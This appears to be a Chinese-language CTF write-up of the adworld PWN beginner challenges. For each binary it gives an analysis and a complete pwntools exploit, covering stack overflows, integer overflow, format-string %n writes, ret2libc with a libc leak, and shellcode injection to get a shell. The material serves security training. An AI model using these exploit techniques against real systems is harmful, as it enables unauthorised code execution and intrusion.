前言
整理adworld的PWN题新手练习区WriteUp;
int_overflow
整数溢出!
checksec查看,开启RELOR和NX;
放入IDA中分析;
main()函数;
login()函数;
check_passwd()函数;
what_is_this()函数;
分析:
main()选择是否登录,login()输入username和passwd,check_passwd()判断密码,注入点在check_passwd()中,分析如下:
- v3为密码长度,要求
3<v3<=8
- 将密码s复制给dest,其中s的不超过
0x199
字节,dest距离ebp有0x14
字节; - v3位 unsigned_int8类型,最大只能255,passwd长度在259-263之间即可绕过;
- 可以通过覆盖v3、dest、ebp实现执行what_is_this()函数;
- v3为密码长度,要求
构造payload如下;
1
2
3
4
5
6
7
8
9
10
11
12
13#! /usr/bin/python
#-*-coding:utf-8-*-
from pwn import *
context(os='linux',arch='i386')
p = remote("220.249.52.134","54323")
# p = process('./int_overflow')
p.sendlineafter('Your choice:','1')
p.sendlineafter('username:','leeyuxun')
what_is_this = p32(0x804868B)
payload = "a"*0x18 + what_is_this
payload = payload.ljust(259,"a")
p.sendlineafter('passwd:',payload)
p.interactive()执行payload,溢出成功,拿到flag如下;
Hello_pwn
栈溢出
checksec查看,开启RELOR和NX;
放入IDA中分析;
main()函数;
sub_400686()函数;
分析:
- 读取16字节输入到unk_601068;
- 判断dword_60106C是否等于1853186401;
- 如果等于就执行sub_400686()函数;
- unk_601068与dword_60106C相差4字节;
- 只需将dword_60106C起填充为1853186401即可;
构造payload如下
1
2
3
4
5
6
7
8
9#! /usr/bin/python
#-*-coding:utf-8-*-
from pwn import *
p = remote("220.249.52.134","40723")
# p = process('./hello_pwn')
dword_60106C = p64(1853186401)
payload = 'a'*4 + dword_60106C
p.sendline(payload)
p.interactive()执行payload,溢出成功,拿到flag如下;
cgpwn2
修改system函数参数的栈溢出!
checksec查看,开启RELOR和NX;
放入IDA中分析;
main()函数;
hello()函数;
pwn()函数;
分析
main()定义三个流的缓冲区,然后调用hello();
hello()前部分可以不看,后三行,首先通过fgets()输入name,其次输入message,这里gets()函数存在缓冲区溢出漏洞;
pwn()函数调用了system,但是并未出现
/bin/sh
或者是cat flag
;查看发现name是bss段的一个大小为
0x34
的区域,s区域的起始位置是运行时距离栈帧0x26
个字节的地方,大小不限;由于只开启了NX,那么name的地址是不变的,记下name地址
0x0808A0880
,输入/bin/sh
到name里;把name作为参数传给system,构成
system("/bin/sh")
payload如下
1
2
3name_dir = p32(0x0804A080)
syst_dir = p32(0x08048420)
payload = 'a'*0x26 + 'A'*0x4 + syst_dir + 'a'*0x4 + name_dirs距离ebp有
0x26
,再加上需要覆盖的ebp长度0x4
,所以总共需要填充,在加上system地址,再加上任意4位地址填充和name地址,最终payload如下1
2
3
4
5
6
7
8
9
10
11
12
13#! /usr/bin/python
#-*-coding:utf-8-*-
from pwn import *
p = remote('220.249.52.134','58209')
# p = process('./cgpwn2')
name_dir = p32(0x0804A080)
syst_dir = p32(0x08048420)
payload = 'A'*0x26 + 'a'*0x4 + syst_dir + 'a'*0x4 + name_dir
p.recvline('please tell me your name/n')
p.sendline("/bin/sh")
p.recvline('hello,you can leave some message here:/n')
p.sendline(payload)
p.interactive()执行payload,溢出成功,拿到flag如下;
get_shell
???
checksec查看,开启RELOR和NX;
放入IDA中分析;
main()函数;
?????被安排滴明明白白!!!
直接payload;
1
2
3
4
5
6#! /usr/bin/python
#-*-coding:utf-8-*-
from pwn import *
p = remote('220.249.52.134','32274')
# p = process('./get_shell')
p.interactive()执行查看flag,(不写payload,直接nc连接更快);
CGfsb
格式化字符串漏洞!
checksec查看,开启RELOR、NX和栈保护;
放入IDA中分析;
main()函数
分析
只需将pwnme的之设为8即可实现
cat flag
;程序中没有给pwnme赋值的操作;
程序中
printf(&s)
存在格式化字符串漏洞:漏洞介绍:
一般
printf()
函数格式为printf("格式化字符串",参数...)
,参数由格式化说明符与字符串组成的,通过格式化说明符来规定参数用什么格式输出内容;格式化说明符有如下几种:
-
%d
:输出十进制整数 -
%s
:从内存中输出字符串 -
%x
:输出十六进制数 -
%c
:输出字符 -
%p
:输出指针地址 -
%n
:输出到目前为止所写的字符数
-
此处需要注意的是
%n
,它的功能是将%n
之前打印出来的字符个数,赋值给一个变量,举例如下1
2
3
4
5
6
7
8
int main(){
int a = 0;
printf('hello world%n hello', &a);
printf('a = %d', a);
return 0;
}
// 输出"hello world hello a = 11"
由此利用该漏洞给pwnme赋值;
查看pwnme的地址为
0x0804A068
;如何利用:
- 将pwnme的地址输入到message;
- 在合适的位置上加一个
%n
,使其与输入的地址对应从而造成漏洞利用;
查看栈偏移:
在message中输入
aaaa-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x
,由于printf(%s)
,所以输入的内容会在显示在命令行中,查看输出结果如下;输出结果中中
61616161
是aaaa
的十六进制ACSII编码,在第10个位置,因此偏移量为10;
构造payload如下
1
2pwnme_addr = 0x0804A068
payload = p32(pwnme_addr)+ 'aaaa' + '%10$n'pwnme的地址需要经过32位编码转换,四位,而要求pwnme等于8,所以加上
aaaa
;1
2
3
4
5
6
7
8from pwn import *
p = remote('220.249.52.133',62194)
# p = process('./CGfsb')
pwnme_addr = 0x0804A068
payload = p32(pwnme_addr)+ 'aaaa' + '%10$n'
p.sendline('leeyuxun')
p.sendline(payload)
p.interactive()执行paylaod,成功拿到flag;
when_did_you_born
栈溢出,覆盖变量!
checksec查看,开启RELOR、NX和栈保护;
放入IDA中分析;
main()函数;
分析;
- 程序要求先输入Birth,限制不能为1926;
- 然后输入名字,使用
gets()
函数; - 输入完名字后判断Birth是否为1926,只有是1926才会执行
cat flag
; -
gets()
函数存在站溢出漏洞,只需输入名字v4
时覆盖Birth即v5
即可,这里v4
和v5
之间的距离为0x08
;
构造payload如下
1
2born = 1926
payload = 'a'*8 + p32(born)最终payload为
1
2
3
4
5
6
7
8
9from pwn import *
p = remote('111.200.241.244',42505)
#p = process('./when_did_you_born')
p.sendline('1')
p.recv()
born = 1926
payload = 'a'*8 + p32(born)
p.sendline(payload)
p.interactive()执行payload,成功拿到flag;
level0
栈溢出,覆盖返回地址!
checksec查看,开启了NX;
放入IDA分析;
main()
函数vulnerable_function()
函数callsystem()
函数分析
main()
函数调用vulnerable_function()
函数;vulnerable_function()
函数的read()
函数最多可读取0x200
字节,而buf变量的空间最多容纳0x80
字节,此处存在栈溢出漏洞;callsystem()
函数调用了system的/bin/sh
,通过覆盖将返回地址改为callsystem()
函数地址即可getshell;callsystem()
函数地址为0x400596
;vulnerable_function()
函数栈空间填充前后内容如下;填充前 填充后 …… …… ret callsystem_addr old ebp ‘a’*0x08 buf …… ‘a’*0x80 buf …… ……
构造payload如下;
1
2
3
4
5
6
7
8from pwn import *
p = remote('111.200.241.244',38908)
#p = process('./level0')
callsystem_addr = 0x400596
payload = 'a'*(0x80+0x08) + p64(callsystem_addr)
p.send(payload)
p.interactive()执行payload成功getshell;
level2
栈溢出,覆盖返回地址!
checksec查看,开启RELOR和NX;
放入IDA中分析;
main()
函数vulnerable_function()
函数分析;
上述两个函数和level0大致相同,栈溢出的溢出点同样在
read()
函数上;并且level2调用了
system()
函数,system()
函数的执行地址可以通过EFL命令获得;1
2elf = ELF('./level2')
system_addr=elf.symbols['system']查看字符串发现
/bin/sh
命令;可以通过
read()
栈溢出,在返回函数时用system(/bin/sh)
覆盖,输入的payload如下;1
2binsh_addr=elf.search('/bin/sh').next()
payload = 'a'*(0x88+0x4) + p32(system_addr) +p32(0) + p32(binsh_addr)
最终payload如下;
1
2
3
4
5
6
7
8
9
10from pwn import *
p = remote('111.200.241.244',37199)
# p = process('./level2')
p.recv()
elf = ELF('./level2')
system_addr=elf.symbols['system']
binsh_addr=elf.search('/bin/sh').next()
payload = 'a'*(0x88+0x4) + p32(system_addr) +p32(0) + p32(binsh_addr)
p.send(payload)
p.interactive()执行payload,成功getshell;
level3
libc泄漏,栈溢出,ret2libc!
checksec查看,开启RELOR和NX;
放入IDA中分析;
main()
函数vulnerable_function()
函数分析
基本和level2相同,栈溢出的溢出点同样在
read()
函数上;但是并没有调用
system()
函数,给出了libc文件,显然是ret2libc;ret2libc即控制函数的执行libc中的函数,通常是返回至某个函数的plt处或者函数的具体位置,即函数对应的got表项的内容。一般情况下,选择执行
system('/bin/sh')
,需要知道system()
函数的地址;由于调用了
write()
函数,首先第一次溢出泄露write()
的地址,算出libc
的基地址,通过偏移进而算出system()
函数和/bin/sh
的实际地址;接着二次溢出,通过计算出的
system()
函数和/bin/sh
的实际地址,覆盖EIP来getShell;
最终payload如下所示;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24from pwn import *
p = remote("111.200.241.244", 58141)
elf = ELF("./level3")
write_plt = elf.plt['write']
write_got = elf.got['write']
vul_func_addr = elf.symbols['vulnerable_function']
libc = ELF("./libc_32.so.6")
system_offset = libc.symbols['system']
write_offset = libc.symbols['write']
binsh_offset = libc.search('/bin/sh').next()
per_payload = 'a'*(0x88+0x04) + p32(write_plt) + p32(vul_func_addr) + p32(0) + p32(write_got) + 'a'*0x04
p.recv()
p.sendline(per_payload)
write_addr = u32(p.recv()[:4])
libc_base_addr = write_addr - write_offset
system_addr = libc_base_addr + system_offset
binsh_addr = libc_base_addr + binsh_offset
payload = 'a'*(0x88+0x04) + p32(system_addr) + 'a'*0x04 + p32(binsh_addr)
p.recv()
p.sendline(payload)
p.interactive()执行payload,成功getshell;
guess_num
算是栈溢出吧!
checksec查看,保护全开;
放入IDA中分析;
mian()
函数sub_C3E()
函数分析
gets()
函数存在栈溢出漏洞;sub_C3E()
函数可以实现cat flag
命令;执行函数
sub_C3E()
的前提是连续十次猜对生成的随机数;只需要覆盖随机数执行的种子seed,按照覆盖的种子生成的随机数输入即可十次全部正确,执行
sub_C3E()
函数;查看seed在栈中的位置为
rbp-10h
,而可以栈溢出的v7
在栈中的位置为rbp-30h
,二者相差了0x20
;因此可以构造如下payload实现覆盖seed为0;
1
payload = "a"*0x20+p64(0)
按照程序中的方式使用C语言生成以0为seed的十个随机数;
1
2
3
4
5
6
7
8
9
10
int main(){
srand(0);
for (int i = 0; i < 10; i++){
int r = rand() % 6 + 1;
printf("%d\n", r);
}
return 0;
}构造最终payload如下;
1
2
3
4
5
6
7from pwn import *
p = remote('111.200.241.244',57646)
# p = process('./guess_num')
payload = "a"*0x20 + p64(0)
p.recvuntil("Your name:")
p.sendline(payload)
p.interactive()执行payload,输入生成的十个随机数,最终执行函数
sub_C3E()
,获取flag;
string
格式化字符串!
checksec查看,开启RELOR、stack和NX;
放入IDA中分析;
main()
函数- 调用了
alarm()
函数,设置计时为60s,程序会在60s后退出; - 调用
sub_400996()
函数和sub_400D72()
函数; - 为
v3
分配8字节的空间,将v3
的地址赋值给v4
; - 设置
v3
的前4个字节存放68
,后4个字节存放85
,并将高低4字节的地址分别以v4
的方式打印出来;
- 调用了
sub_400996()
函数打印提示信息和龙的图案;
sub_400D72()
函数- 输入名字,要求长度不超过
0x0C
个字节,如果大于0x0C
,则返回main()
函数并退出; - 调用
sub_400AD7()
函数、sub_400BB9()
函数、sub_400CA6()
函数;
- 输入名字,要求长度不超过
sub_400AD7()
函数- 打印一大串无聊的文字说明,然后让选择
east
或者up
,只能选择east
,否则会一直循环下去,直到程序运行结束; - 调用了
sub_4009DD()
函数;
- 打印一大串无聊的文字说明,然后让选择
sub_4009DD()
函数- ???让循环判断生成的随机数的奇偶性,早晚会
exit(0)
,显然此处无从下手;
- ???让循环判断生成的随机数的奇偶性,早晚会
sub_400BB9()
函数- 判断输入是否为1,如果不为1,则直接退出该函数;
- 如果为1,则需要输入两个参数,其中第一个是地址,然后出现语句
printf(&format, &format)
,存在格式化字符串漏洞;
sub_400CA6()
函数比较
*a1
和a1[1]
,如果不相等,直接退出结束;此处
*a1
是传递的参数v4
即分配的v3
的低4位地址,而a1[1]
则是v3
的高4位地址,正常情况下不相等;如果相等,则调用
mmap()
函数分配一块大小为0x1000
字节的空间,其中第三个参数表示该空间可读可写可执行;通过
read()
函数,将输入内容赋值给v1
;接着通过执行如下语句,强制将
v1
转化为可执行函数;1
((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);
因此只要通过
sub_400BB9()
函数的格式化字符串漏洞令*a1
和a1[1]
相等,再利用pwntools自带的shellcraft工具,生成amd64架构下的shellcode,即可获取shell;回到
sub_400BB9()
函数中,在获取format的输入前,获取了一次输入并保存到了v2
中,在rsp+8h
的位置,如果把printf()
函数的原型记作printf(format, args...)
,那么v2
恰恰是args
中的第7个参数; 在cheksec检查中,发现这是64位的程序,前6个参数放在寄存器中,从第七个参数开始压入栈中,因此可以用%7$n
来访问并修改;首先将
v4
即v3
的地址赋值给v2
,再接着利用格式化字符串漏洞,将v2
的值改为85
,即*a1
和a1[1]
相等;v4
即v3
的地址已经打印出来可以直接获得;1
2p.recvuntil('secret[0] is ')
v4 = int(p.recvuntil('\n')[:-1], 16)构造的格式化字符串的payload如下;
1
payload = '%85x%7$n'
最终payload如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22from pwn import *
p = remote('111.200.241.244',44009)
# p = process('./string')
p.recvuntil('secret[0] is ')
v4 = int(p.recvuntil('\n')[:-1], 16)
p.recvuntil("What should your character's name be:")
p.sendline("leeyuxun")
p.recvuntil("So, where you will go?east or up?:")
p.sendline('east')
p.recvuntil("go into there(1), or leave(0)?:")
p.sendline("1")
p.recv()
p.sendline(str(v4))
p.recv()
payload = '%85x%7$n'
p.sendline(payload)
rec = p.recvuntil('SPELL\n')
context(os='linux', arch='amd64')
p.sendline(asm(shellcraft.sh()))
p.interactive()执行payload,成功getshell;